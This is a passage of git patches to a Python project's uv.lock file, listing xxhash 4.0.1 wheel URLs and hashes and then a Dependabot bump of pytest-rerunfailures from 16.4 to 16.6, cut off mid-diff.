344967, upload-time = "2026-08-17T08:35:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/5c/15/80b6ddf0732eef48a8b5fe717398274794392bd6dbe82af38d189d214772/xxhash-4.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4f5e5c6df4b703afcbe9352d238a51efd97c3b91fdc3a2052e40fdacb1e7505f", size = 279956, upload-time = "2026-08-17T08:21:24.97Z" }, + { url = "https://files.pythonhosted.org/packages/77/e0/11cbc43c205bf81fad50d69c7319cd1b1ccc01a66cd4fb8766357126c43d/xxhash-4.0.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d54b8ae068af532c8cdf56abb9e09a60fbe7b10792444c9c27987bb6d3b450fa", size = 307583, upload-time = "2026-08-17T08:22:22.541Z" }, + { url = "https://files.pythonhosted.org/packages/1c/11/cf0bc07feb2791045b6ac075d4bf64f1a5beedef2f46ae70d7104d63a19f/xxhash-4.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1749f0688020209fe0d357ce1e1cd9ec9c6161ed0405ea949d24581c4c43fa91", size = 265848, upload-time = "2026-08-17T08:35:31.298Z" }, + { url = "https://files.pythonhosted.org/packages/d4/c4/7ada4bea2a2795073dfc42d96842930efbe7a0c1857ef4b522e4e90e5d83/xxhash-4.0.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:94ac8a6b8c47951173f0b67bf862bcb971bf24e493b9fbbdb0e010cbbc7d9f54", size = 284409, upload-time = "2026-08-17T08:21:23.156Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f4/d8ce83dd6b99ccfbdadaf2db968ae40334d2e5f73a0297e593b9ddb3df39/xxhash-4.0.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:a33de7633c948ab2dc144af370a66e7e7af29b425dcd0f7e4f59689fb9391b53", size = 335921, upload-time = "2026-08-17T08:22:21.802Z" }, + { url = "https://files.pythonhosted.org/packages/a6/9f/f47d8724bd8bc45b395b06b7cacea2dae0d00031af1b707184a091161df6/xxhash-4.0.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:247ece770647c0aef080561fa996f9774b4dadce2d0c42eeb98229db7dcf820d", size = 487023, upload-time = "2026-08-17T08:22:19.729Z" }, + { url = "https://files.pythonhosted.org/packages/57/54/2d87098f3371cc1e42dd04d2285ad56bca4c56667bc501bff02d2b9fd6b5/xxhash-4.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a4553d36cc0b7fce1f35ba8a94dfd775aa3ed12f5eab2dc3b46ac75a0706b0bb", size = 264333, upload-time = "2026-08-17T08:35:27.001Z" }, + { url = "https://files.pythonhosted.org/packages/27/b8/93795ca5898ec7d7d0455283ad261c0fc76b4f0c0a69e86233bd7badb0bd/xxhash-4.0.1-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:87aa309a93bd5ec13f14309a305ff4e9bf74c5363fc46c264c0a22edfd5b0670", size = 20581, upload-time = "2026-08-17T08:21:39.207Z" }, + { url = "https://files.pythonhosted.org/packages/b6/96/926f7335a0a1647952c00421e8da877f658094f61336306c7cadc335c94d/xxhash-4.0.1-cp313-cp313-win32.whl", hash = "sha256:cba763d84b06bda2c38d5185dee76f1b9dfdc0789e96e476d9e10005526d0788", size = 34449, upload-time = "2026-08-17T08:22:29.362Z" }, + { url = "https://files.pythonhosted.org/packages/ea/61/8a5aeb811de093bab3434e77eff0e9461624a1a56a6a93d315d080aab2aa/xxhash-4.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:97b94fb29abf21f5f0bde15f7dbdd3a4aa2dc59f37026adc7b4bee8563b84375", size = 36520, upload-time = "2026-08-17T08:35:34.852Z" }, + { url = "https://files.pythonhosted.org/packages/04/14/97f3c74000ca36955e9cb86f6d270dcd5848b5c65afa623453f5cf2d83d6/xxhash-4.0.1-cp313-cp313-win_arm64.whl", hash = "sha256:08ed8da18cd4fd0a6a5d6a444852d8fbd0e565388a74a4937085451b5f1a312a", size = 33428, upload-time = "2026-08-17T08:21:31.713Z" }, + { url = "https://files.pythonhosted.org/packages/81/0e/ea406a02b561d3275232ccfdb3e29df80f7a65414940e3a15721c7bea40f/xxhash-4.0.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:af05a3f650220a6c59fa0ad2410249f2d2470a05225807c378fb67458693f8df", size = 43747, upload-time = "2026-08-17T08:22:31.37Z" }, + { url = "https://files.pythonhosted.org/packages/f9/f0/b0c94d61ccf6b5d1f8847b58ef8f923125ac4919ed5bd0eb082750ca7cbd/xxhash-4.0.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:a6e3653df1a70b8ac4191216324242e4be2bca18c9a7c10934e1bd56dc7ca15e", size = 40749, upload-time = "2026-08-17T08:22:29.431Z" }, + { url = "https://files.pythonhosted.org/packages/2f/c5/8085881a538983be0fd1c865d5df236242fea496044e2c8ca32b9f2ba39c/xxhash-4.0.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:4528cf80ebbbf57d40edfb31521ae265daa6dd636d615b1cf0ac86209579e59d", size = 34734, upload-time = "2026-08-17T08:35:33.68Z" }, + { url = "https://files.pythonhosted.org/packages/d3/94/8803d13c968fc75ca434eea991d29ac5fd8a36b4afc9a6a9803c53933db4/xxhash-4.0.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:90cb2a1c9cc503a054a19612b48ff6e8e47805f618bdb3224a07568aad03a37e", size = 35671, upload-time = "2026-08-17T08:21:48.322Z" }, + { url = "https://files.pythonhosted.org/packages/85/d5/ad91d7f0fd294190d37c08236fe661f5c4e3f83dcd1a121877a2e64681ce/xxhash-4.0.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:a949b072ea59c6eca0811ccd9e95133cc50d2afda8d464b5b077c78f78efa269", size = 38094, upload-time = "2026-08-17T08:22:39.763Z" }, + { url = "https://files.pythonhosted.org/packages/89/f4/2b7ebdc1869caca5f02c4cba8379b631050d3c3d4adb9187e4dc1a6b8d3c/xxhash-4.0.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:79a3203aadf39637869dfea1185227d8452844d78b837e54fb1117b4d34ba5c3", size = 38244, upload-time = "2026-08-17T08:35:38.081Z" }, + { url = "https://files.pythonhosted.org/packages/90/9d/f66cf6935f528e575f1ae4d6560d376e7587569747186f4fae8777cadc1b/xxhash-4.0.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:d9f3848ffaf010bdbabdbf4c25641fa258b6227ff27bc74a4d06edef521a4873", size = 35904, upload-time = "2026-08-17T08:21:37.358Z" }, + { url = "https://files.pythonhosted.org/packages/07/29/34569d7b482f0dc060074faafd163c588f915cbc3e3e218f1ffd8a3ad340/xxhash-4.0.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9283d9dd6b44acad35118e2976fc763a065509e4118debdb61916ec322ed17b9", size = 259595, upload-time = "2026-08-17T08:22:38.153Z" }, + { url = "https://files.pythonhosted.org/packages/ce/d2/a2370acfcd48732cf5c2b87f06cfbf7fa51c0ce0dd736bde42939eb9ebf7/xxhash-4.0.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c7c642a0f79c3e3cf2965475507574d3d1a50ec71060039d60cb87358667cb2", size = 284279, upload-time = "2026-08-17T08:22:36.396Z" }, + { url = "https://files.pythonhosted.org/packages/08/15/17d33c24e6c4a1c0b9ddc5584f0c25d51d48b34bacde1416a2235a19db4b/xxhash-4.0.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:96dedccfb09a73a25751053a183159b88f4ee75f388df8166040c152ac0531c6", size = 303973, upload-time = "2026-08-17T08:35:39.22Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e0/4ec0d69ad5738729098a61e631b7ed2df22a922b0e03014b597c72bd863d/xxhash-4.0.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81664268dba92e037b740ecf37fa02f1cab4a391f93f28e35792b3341c60648f", size = 287535, upload-time = "2026-08-17T08:21:52.158Z" }, + { url = "https://files.pythonhosted.org/packages/0f/8b/4f9b17e7a9eb71c65548ecddd9c18b84e3c18ca41c4d436ad2a3000d3f7b/xxhash-4.0.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:839f58c5bd9989875be0fd28446dbf32cace2c2cd8bf2f6762acdc38a95cd1aa", size = 519257, upload-time = "2026-08-17T08:22:43.272Z" }, + { url = "https://files.pythonhosted.org/packages/68/35/3276b3e743b8ddbed9c3f71c76d9dd6a75d72aa4e678b1447b635cfd92e0/xxhash-4.0.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ffa44b4c7c5d0ffa31356b4428659516c0e47647825c74079a296b3857b6d99d", size = 268190, upload-time = "2026-08-17T08:35:44.985Z" }, + { url = "https://files.pythonhosted.org/packages/08/d4/f1555de3c96721320930dbb7988c8482d82b85970076aba1a8d40e83ad43/xxhash-4.0.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e681a6fc7e4f715252b9b5acfb30536ec7dd1f75033a32dc617e6fa95af1a3fd", size = 345553, upload-time = "2026-08-17T08:21:41.025Z" }, + { url = "https://files.pythonhosted.org/packages/ac/98/c28908f27007087b61139d290f908dd827ffd40b88af0c43f9e1a1a7ffd5/xxhash-4.0.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6301d92545c591ad31c3e050aa40a5f8a4c16413f1f9e6f9322c6f0f9d2b736", size = 280499, upload-time = "2026-08-17T08:22:52.236Z" }, + { url = "https://files.pythonhosted.org/packages/a9/76/3ef57622c65816348f8196273485baab4752aae064959901e85cd867e067/xxhash-4.0.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:6efb8f21cc136c79b3e5bb747c8682d37916fb202cdbbc32182de5c4e47f821f", size = 307211, upload-time = "2026-08-17T08:22:40.815Z" }, + { url = "https://files.pythonhosted.org/packages/8a/4c/5804504bbc808968e57d6a50286dd8f8cc06e0ddd6e4ab4b1dc89ae42f35/xxhash-4.0.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:760de77279e9cf9c81d012ce0705cba13afccee9b09c480f17d778c8c5cefae8", size = 265865, upload-time = "2026-08-17T08:35:42.727Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ee/8572fdfd70e7aaaf150af899871c2cc0bb88c3295ca82172a31e04ca5168/xxhash-4.0.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:a16a3fa6936e36bb1414d16a6bd012c9033e5161b68b426805b61d895392437d", size = 284545, upload-time = "2026-08-17T08:21:56.965Z" }, + { url = "https://files.pythonhosted.org/packages/c1/f8/6eadcca0904660c848b466524e82a233d16c9d2d5258433aaf3546142d86/xxhash-4.0.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:9c3c4b9aa9a27196b921197f7daf9e6c1412739df06a99cfa6e923879362eff6", size = 336022, upload-time = "2026-08-17T08:22:46.346Z" }, + { url = "https://files.pythonhosted.org/packages/27/df/4aa107b81602d6d6d09ab5a607c530d2d3a6b28e2e9a59b01875bd877c54/xxhash-4.0.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:863f3d3b44110f7243e86cf994aa5c5d88f2348b6e84ab4402fadadfbf9f7da7", size = 486671, upload-time = "2026-08-17T08:35:49.016Z" }, + { url = "https://files.pythonhosted.org/packages/45/b7/b2bf9b5301e9cd5f2e335fea8da0f5cf209a6594cb1fe77754774ad4a6fd/xxhash-4.0.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63aa52659bc32bb9bd7cb5caf523b4d14429a477762cfac886132d687c1f80fc", size = 263744, upload-time = "2026-08-17T08:21:56.165Z" }, + { url = "https://files.pythonhosted.org/packages/0b/96/35b1c02177ae26234892c2310fb4822ba62411acccbf425ab8f9fd99354a/xxhash-4.0.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:67e57b834e07ed973cee7b6da1548ff28a56458d77696fd2a5f397f340694848", size = 20563, upload-time = "2026-08-17T08:35:11.924Z" }, + { url = "https://files.pythonhosted.org/packages/51/c2/a06300b165fbd6b0cb4a9742987f2e997a9f447ce3bf7c6ac97b862ce62a/xxhash-4.0.1-cp314-cp314-win32.whl", hash = "sha256:b6c1f9c59bbe593f88a0aad30be4150f15bd57bd64efb95feeabcb8e563f1ecd", size = 35151, upload-time = "2026-08-17T08:22:44.283Z" }, + { url = "https://files.pythonhosted.org/packages/06/96/c5b37296b78f80fc97124c0fee0c7bbd1bdb6f3b18bcd8748bb113b2d8fc/xxhash-4.0.1-cp314-cp314-win_amd64.whl", hash = "sha256:da544672efd9ad76077928a3e6c5d894e52ce82d3bf14002db4a1bf17d1a36a2", size = 37156, upload-time = "2026-08-17T08:35:46.551Z" }, + { url = "https://files.pythonhosted.org/packages/ce/5e/248f9cd169c2fb62236bedfba246d213bce728f74901e99047e3f3c55875/xxhash-4.0.1-cp314-cp314-win_arm64.whl", hash = "sha256:d0d24a4f3fb63852cd09af46ae4b7a4d00cc8b8615a046dca543786e728d1056", size = 34379, upload-time = "2026-08-17T08:21:59.446Z" }, + { url = "https://files.pythonhosted.org/packages/58/c8/db1d37c0da0324d0298f6abd931ca1d4736e049d9f2081230a8421da74d2/xxhash-4.0.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:349775ac30372b344d2338b2a168c0a1312a644194da25b8bec476d55761a128", size = 38656, upload-time = "2026-08-17T08:22:49.119Z" }, + { url = "https://files.pythonhosted.org/packages/c5/8e/e18998ec465fb977bc74272e5bf3c2e886c13b014cbef916cd607802c709/xxhash-4.0.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:43e5f9169e73d0f0db33b5f6b8554bcce69ac278c966daf83d5eb4eb2f13829f", size = 36306, upload-time = "2026-08-17T08:35:52.853Z" }, + { url = "https://files.pythonhosted.org/packages/ef/1a/b83f86f8a987a3cbcb7e005a6824ff64aecae35abc1395a0d44ee16c3319/xxhash-4.0.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4a252fb862b0ae2590587e625f47a0e03da05cf0205e8830b67b6596c06038b1", size = 273729, upload-time = "2026-08-17T08:21:58.833Z" }, + { url = "https://files.pythonhosted.org/packages/02/4e/2db15aa8508e0cd5b632927a53b98234f24039ea65377e6cf996c06d2d4f/xxhash-4.0.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2df3ca8757dc381e75e90a4d7995a6324f58a923c7145220a7b2c0231f66fddc", size = 301083, upload-time = "2026-08-17T08:35:14.113Z" }, + { url = "https://files.pythonhosted.org/packages/26/94/ed759787ffe802bd8e31cfcdad3755cbeca2dcdafd2f790cd6f25d195199/xxhash-4.0.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:bfed61996d618eb90d6eaae0178002e3466a28b06bfc557a7a3a7266378d8c5a", size = 312745, upload-time = "2026-08-17T08:22:52.232Z" }, + { url = "https://files.pythonhosted.org/packages/45/7a/f64b4a4cc8b51e950709207f55f7f56ae9c5af6631dd31d7fb443312418c/xxhash-4.0.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9761ff4a0ffa583fe850731ad24fe82c88cccb7a2294727db0955f3279a4cb3f", size = 301419, upload-time = "2026-08-17T08:35:50.143Z" }, + { url = "https://files.pythonhosted.org/packages/a0/71/bac313b8de073569b8db3152044a7cfcce87a3fa9698c18fe9f914dee6b1/xxhash-4.0.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edccc2ec58435a580f96a48a3ccae8cd0a480824119165dd90108718ad81ae6e", size = 534485, upload-time = "2026-08-17T08:22:11.515Z" }, + { url = "https://files.pythonhosted.org/packages/b9/0c/16b5e419f24e59507ee05626d2bb0deafdb03f9f27783bc0785a9849602e/xxhash-4.0.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4741d42d59e4e5fa1a86c17ab9c27dc8ea459c700d91b6742fdb9138d9a516cb", size = 279605, upload-time = "2026-08-17T08:22:52.934Z" }, + { url = "https://files.pythonhosted.org/packages/5f/55/5787dd6e2d8d5b61256a5039f6b18c2193c7c1de4a2fd2413288d0d9c604/xxhash-4.0.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:440c401e146ce64bdb3beb8ff0c84677b6f21307c28a34779071cecee5d4d70c", size = 358924, upload-time = "2026-08-17T08:35:58.164Z" }, + { url = "https://files.pythonhosted.org/packages/f3/68/89be41991f3b0a2e91f940bdf3128852c3ed571cf560d98ad0f67024afe4/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5b7979f71d06ae45a769de0699900a246d8cb632db1e8bfdc79ec019063a503c", size = 295305, upload-time = "2026-08-17T08:22:13.683Z" }, + { url = "https://files.pythonhosted.org/packages/e6/5a/52ff0a0cc361aad393ff9a46ffe3aabbcf9c03d6c8f2612da7d553048276/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:62198213fc3e0c56e567894b318ba45834e007d065f84ba6dc9165d21546fc56", size = 320228, upload-time = "2026-08-17T08:35:18.946Z" }, + { url = "https://files.pythonhosted.org/packages/0f/b5/91c60ff22c7f6cd5f6d7a5bad5a2cdcb4c33987dfa50bf13f0d856279b2e/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:b3bece52127ac20044311ee73567f9f0893b5de64f9028aecc90cc740cfd525a", size = 279414, upload-time = "2026-08-17T08:23:03.212Z" }, + { url = "https://files.pythonhosted.org/packages/b9/94/9685954804d47d0390871a64bec606a0d536406382d71a784df3a5883fb4/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:a865d2d470220e659220fdb59d5b6c4422802d8d6098e1324bc4d12444798914", size = 297594, upload-time = "2026-08-17T08:35:57.881Z" }, + { url = "https://files.pythonhosted.org/packages/89/62/b67ac9412907b7a07a2a0c08c3440b9e4480231a7b3de0767e87011e4564/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:8580aab306888224074c7edeec734de0c3c5ccde65b2da4e6c9a5e28f7c0a1bd", size = 348526, upload-time = "2026-08-17T08:22:18.571Z" }, + { url = "https://files.pythonhosted.org/packages/37/ed/6723cc49a9f567d52d01fd7c1741b0f2e3a13e71d15f7ac49d753a20c115/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:2d52dc7c33c1b83082b707f6b7814dc76d2faaa2ea62bd9c5fab4b36f83c087f", size = 499307, upload-time = "2026-08-17T08:22:56.52Z" }, + { url = "https://files.pythonhosted.org/packages/fd/2e/7b10e101ab988d93b791023be7191d7661271d6ab31ac082276b9091042a/xxhash-4.0.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6a9f98af872355e0c02439e48583958eee00e60b928bb20476460d9d40cb7b4e", size = 274989, upload-time = "2026-08-17T08:36:01.834Z" }, + { url = "https://files.pythonhosted.org/packages/9b/8d/7eabcc8d29cce40621443cff24c07d7306ef574b8956c47ac59f21098005/xxhash-4.0.1-cp314-cp314t-win32.whl", hash = "sha256:a14578102a6081465aec9cf73c76c3cd3f79f0709bdb3b8ae7ab0b54c9d8b089", size = 35482, upload-time = "2026-08-17T08:22:32.336Z" }, + { url = "https://files.pythonhosted.org/packages/ca/89/2a4268e1971f63038b79fb75e3b9c8de942cd77acabbb0c5625352a31940/xxhash-4.0.1-cp314-cp314t-win_amd64.whl", hash = "sha256:c57963970d359a72262f7fe6be88f945e2334d4bc41462b7f08c37b0abf35ca6", size = 37490, upload-time = "2026-08-17T08:35:22.475Z" }, + { url = "https://files.pythonhosted.org/packages/90/7b/950ecab1fe4cf421d0a6211ddd9a0ac82e39e55c45a111ceb90953dc6c9a/xxhash-4.0.1-cp314-cp314t-win_arm64.whl", hash = "sha256:b659fad79c99b0238c7ad7e9d7dbf4eebfea9097c2dba65fa0a4d18a25b29a2f", size = 34596, upload-time = "2026-08-17T08:23:10.001Z" }, + { url = "https://files.pythonhosted.org/packages/86/79/9127ff42a887a348dc4ce3211cf1a962836887adee6f57078132bfba78b4/xxhash-4.0.1-graalpy312-graalpy250_312_native-macosx_10_13_x86_64.whl", hash = "sha256:ff48915bf1871a1f19f74c11834c6329443d306cedc0c05fe7fe617810422a80", size = 31836, upload-time = "2026-08-17T08:36:28.261Z" }, + { url = "https://files.pythonhosted.org/packages/0a/e6/f238693bfdd642adb59c99683964d46d9947fe721ff44d3bd850ae675407/xxhash-4.0.1-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:4a76345f5aceb4ec404918edf9c7f2b5507db864dc0d7455982009ac0890b57b", size = 34453, upload-time = "2026-08-17T08:23:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/40/4b/796ace33cdfb75c91ba6d11615c3bd436355b9f3103e05865bbee9abce57/xxhash-4.0.1-graalpy312-graalpy250_312_native-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:31d86f9e81f3e84e00131ac7c54caf5119ae4ddd82c09c31cff597c813ce1ee2", size = 38488, upload-time = "2026-08-17T08:23:59.901Z" }, + { url = "https://files.pythonhosted.org/packages/ad/23/2d549e5d5d7759eaf9ac2d2d2ab81ff60f1bb2b52cdaae8e5ec5c6524354/xxhash-4.0.1-graalpy312-graalpy250_312_native-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:deca2a30d983d240b8375ec2ee0a4288e72042827fc61df2f7671f8467e4cb2f", size = 38206, upload-time = "2026-08-17T08:36:32.193Z" }, + { url = "https://files.pythonhosted.org/packages/79/98/1ee576b27f78e6107ee4ea8ac03e8a52888dff256e57d560f8282c195563/xxhash-4.0.1-graalpy312-graalpy250_312_native-win_amd64.whl", hash = "sha256:7c343ee174d417a44d0c3355602c0cbbfa52a04d1bbbf1723378c7d2c8f60626", size = 37127, upload-time = "2026-08-17T08:23:42.705Z" }, + { url = "https://files.pythonhosted.org/packages/c9/c5/8b528f4a394a1eabfd5d8b4271f24fff67fa1aebe58bdd3c64967662e6fe/xxhash-4.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:26fe6238c2d5b11ed5063b9bf4eb290624b004fd074688da6bb079bd564f10d7", size = 36450, upload-time = "2026-08-17T08:35:59.217Z" }, + { url = "https://files.pythonhosted.org/packages/b6/03/909926dcedb64ceee629e18d8dffa758f9d3fdbe01e25530ce2bf0eaf9d0/xxhash-4.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:e53926e76131a74e79cc0b39fa712c227875f180afc68646bd1e1d8a17e60313", size = 33467, upload-time = "2026-08-17T08:24:12.924Z" }, + { url = "https://files.pythonhosted.org/packages/13/b5/ad50456fbfed07f29169bc3fd34e70cbee306a88c17d1a1141a7638de0ee/xxhash-4.0.1-pp310-pypy310_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0718ad66f4ded2411f8e62bdba549ee71e313a2d26ef5060ca3fdbf29897dd3c", size = 48048, upload-time = "2026-08-17T08:36:30.847Z" }, + { url = "https://files.pythonhosted.org/packages/33/c4/83cfe6b591a3067ab3f1339931c91211a8b3864d0ea76ad8184f0c1b0515/xxhash-4.0.1-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2200b98a805351cb3142ae4e1fdcc9e91b5e20f5d30d4862b0b96f92558f4e", size = 42719, upload-time = "2026-08-17T08:23:53.581Z" }, + { url = "https://files.pythonhosted.org/packages/20/2e/0f654f2831abba09d502751e38816759086dd92749501b128b7c3676ea87/xxhash-4.0.1-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ea5ecf800b45bdb34afe05a1d0dae1f8ea02a290e50636dccd399063f6b180f8", size = 39477, upload-time = "2026-08-17T08:24:03.735Z" }, + { url = "https://files.pythonhosted.org/packages/3b/d4/375b9e4b719ee70e0a6d9e98e2b60aab09efd59f46c7871a112a2e6b0fcb/xxhash-4.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce6d5cc94a50291d080259a126cbf1e9ba4ac861e6429d2f3cdbb1474f51945d", size = 37244, upload-time = "2026-08-17T08:36:35.452Z" }, + { url = "https://files.pythonhosted.org/packages/ea/4f/e0648288a17d0d1084ca4f7bef206097831988fc86af74aa1dff8f1fbd68/xxhash-4.0.1-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:554f87034635bcec47c5d72447bf3db7e02da1bf493a0ada010db28a76f891c6", size = 36333, upload-time = "2026-08-17T08:23:52.913Z" }, + { url = "https://files.pythonhosted.org/packages/22/15/34b7f72e9b5a8bfd7e6178de9e1e342bc3de9f07111a5ae26c00506d9edf/xxhash-4.0.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:3c2445edafc300cc40feb6a25a8356a971c30cd0bf47b5349c2ad74c508343b1", size = 33519, upload-time = "2026-08-17T08:36:03.04Z" }, + { url = "https://files.pythonhosted.org/packages/06/4b/e0af324ccf701bf84a7a060bef11c915d45d9e3c5b9caf5b94d62ecb040b/xxhash-4.0.1-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bdd16718b63aa3ebd68aabb79021a40e47c81374852d41a306b9453141bbcbee", size = 47995, upload-time = "2026-08-17T08:24:14.335Z" }, + { url = "https://files.pythonhosted.org/packages/59/46/cc7130e6ca6b41ab72eb6a03177b933c7c74145545c99a8610ecc208c449/xxhash-4.0.1-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b99ebaf9e816ac5069423b1367ee7e8078fbcebcf62545506bb0608d2f4f468", size = 42725, upload-time = "2026-08-17T08:36:34.144Z" }, + { url = "https://files.pythonhosted.org/packages/1c/24/4f26ff9a7dd0998f6d1036bdddef7ce3e78972a74f7fffa7967e7bc3b7e4/xxhash-4.0.1-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f484ed57bb3e4142f9d6439568658c38be5f94b702ba00a1ff32c69783b6c66d", size = 39532, upload-time = "2026-08-17T08:23:57.556Z" }, + { url = "https://files.pythonhosted.org/packages/7d/f3/1ac078fc8fceadcf066469acecacb35d2821cbfaf7d6fc5ac2107c7a314d/xxhash-4.0.1-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:fac4832b638000106207bc44e44b9616a6a416aaee56c62b01d61f3705e49f58", size = 37252, upload-time = "2026-08-17T08:24:06.652Z" }, ] [[package]] From 2ff6aa16bb8c0039b3b309e06033c00c8b67d7e0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 28 Aug 2026 14:32:18 -0400 Subject: [PATCH 064/256] Bump pytest-rerunfailures from 16.4 to 16.6 (#3398) Bumps [pytest-rerunfailures](https://github.com/pytest-dev/pytest-rerunfailures) from 16.4 to 16.6. - [Changelog](https://github.com/pytest-dev/pytest-rerunfailures/blob/master/CHANGES.rst) - [Commits](https://github.com/pytest-dev/pytest-rerunfailures/compare/16.4...16.6) --- updated-dependencies: - dependency-name: pytest-rerunfailures dependency-version: '16.6' dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 7baa90a10e..3471744308 100644 --- a/uv.lock +++ b/uv.lock @@ -2428,15 +2428,15 @@ wheels = [ [[package]] name = "pytest-rerunfailures" -version = "16.4" +version = "16.6" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "packaging" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/47/60/a90ca1cc6cffcb97b4260ed0ad2b7934b999d7c48abe4ea0840344862a3b/pytest_rerunfailures-16.4.tar.gz", hash = "sha256:8222d17c37eb7b9e4d6fc96a3c724ff4e1a5c97a5cc7cbb2c19e9282cfd21a11", size = 36635, upload-time = "2026-07-01T06:30:56.813Z" } +sdist = { url = "https://files.pythonhosted.org/packages/ed/63/0114e45d4b2fcd5f6297dac655c067b47de28be4d33e088f200f0f2c4c28/pytest_rerunfailures-16.6.tar.gz", hash = "sha256:29dbfee46f542073c888e0ed4e81c51e15b9096f49a299eb1a759629c601684a", size = 42806, upload-time = "2026-08-17T07:11:00.447Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ce/93/3cdcc4033444e822e01b573414b03fd37fd5533070c750477b8f5fa5224b/pytest_rerunfailures-16.4-py3-none-any.whl", hash = 